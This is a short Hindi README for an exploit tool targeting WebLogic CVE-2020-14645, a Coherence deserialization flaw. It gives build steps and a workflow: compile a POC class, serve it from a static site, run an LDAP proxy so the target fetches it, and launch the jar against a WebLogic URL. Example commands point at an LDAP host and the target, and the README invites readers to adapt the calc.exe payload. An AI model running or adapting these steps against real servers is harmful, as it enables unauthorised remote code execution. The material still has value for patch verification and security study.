Weblogic CVE-2020-14645 coherence डीसेरियलाइज़ेशन भेद्यता सत्यापन कार्यक्रम

वातावरण

• Maven 3

• JDK 1.8

संकलन

mvn package

उपयोग

विशिष्ट परीक्षण चरण:

1. POC लिखें
2. POC को class फ़ाइल में संकलित करें
3. संकलित POC को प्रकाशित करने के लिए एक स्थिर साइट शुरू करें
4. परीक्षण लक्ष्य द्वारा POC प्राप्त करने के अनुरोध को अग्रेषित करने के लिए एक LDAP प्रॉक्सी शुरू करें
5. परीक्षण कार्यक्रम निष्पादित करें

चूंकि यह भेद्यता Apache Dubbo भेद्यता के समान है, कृपया 1-4 चरणों को लागू करने के लिए इस भेद्यता का संदर्भ लें।

परीक्षण कार्यक्रम निष्पादन

java -jar target/CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#CLASS_NAME WEBLOGIC_URL

# उदाहरण
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp http://127.0.0.1:7001
java -jar target/CVE-2020-14645.jar 1.1.1.1:8080/#exp https://127.0.0.1:7002

यदि इस उदाहरण में प्रदान किए गए POC का उपयोग किया जाता है, तो सफल शोषण के बाद परीक्षण लक्ष्य calc.exe निष्पादित करेगा। कृपया परीक्षण लक्ष्य वातावरण के अनुसार POC को स्वयं संशोधित करें।

आभार

यह परियोजना @Y4er @5up3rc परियोजना के कुछ कोड का संदर्भ और उपयोग करती है, विशेष धन्यवाद!

संदर्भ सामग्री

https://github.com/Y4er/CVE-2020-14645

https://github.com/5up3rc/weblogic_cmd